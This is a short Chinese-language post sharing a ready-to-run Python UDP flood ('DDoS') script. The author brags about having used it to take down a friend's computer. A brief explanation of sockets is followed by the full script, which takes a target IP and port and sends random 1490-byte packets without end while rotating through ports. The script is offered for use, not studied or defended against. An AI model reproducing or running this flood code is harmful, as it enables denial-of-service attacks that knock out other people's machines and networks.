简单的ddos攻击脚本, 不过我已经把朋友电脑干掉了,电脑性能不好的不要尝试奥。 先解释几个点: 1.socket(AF_INET&SOCK_STREAM,SOCK_DGRAM) 这是套接字,在任何类型的通信开始之前,网络应用程序都必须创建套接字 AF_UNIX基于文件, AF_INET面向网络,
TCP套接字SOCK_STREAM。 特点:面向连接,可靠,开销大。 UDP套接字的名字SOCK_DGRAM 特点:不可靠(局网内还是比较可靠的),开销小
2.os.system(cmd)可以在python中调用linux命令
下面是脚本写法
import sys import os import time import socket import random #Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year ############## sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) ############# os.system("clear") os.system("figlet DDos Attack") print print "Author : HA-MRX" print "You Tube : https://www.youtube.com/c/HA-MRX" print "github : https://github.com/Ha3MrX" print "Facebook : https://www.facebook.com/muhamad.jabar222" print ip = raw_input("IP Target : ") port = input("Port : ") os.system("clear") os.system("figlet Attack Starting") print "[ ] 0% " time.sleep(5) print "[===== ] 25%" time.sleep(5) print "[========== ] 50%" time.sleep(5) print "[=============== ] 75%" time.sleep(5) print "[====================] 100%" time.sleep(3) sent = 0 while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 port = port + 1 print "Sent %s packet to %s throught port:%s"%(sent,ip,port) if port == 65534: port = 1